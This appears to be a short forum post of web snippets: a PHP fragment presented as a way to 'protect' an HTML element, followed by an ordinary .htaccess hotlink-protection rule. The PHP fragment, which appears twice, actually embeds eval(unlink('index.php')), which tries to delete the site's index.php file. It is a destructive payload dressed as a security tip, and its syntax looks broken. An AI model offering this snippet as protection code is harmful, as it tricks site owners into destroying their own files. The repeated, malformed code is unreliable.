PHP Code:
$element = 'a'; //change this to any html element you are trying to protect
print "<!-- <$element>{${eval(unlink('index.php');)}}</$element> -->";
$element = 'a'; //change this to any html element you are trying to protect
print "<!-- <$element>{${eval(unlink('index.php');)}}</$element> -->";
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)yourdomain.com/.*$ [NC]
RewriteRule \.(gif|jpg|jpeg|bmp|zip|jar|mp3|mp4|swf|txt|3gp|png|css|pdf)$ - [F]
Comment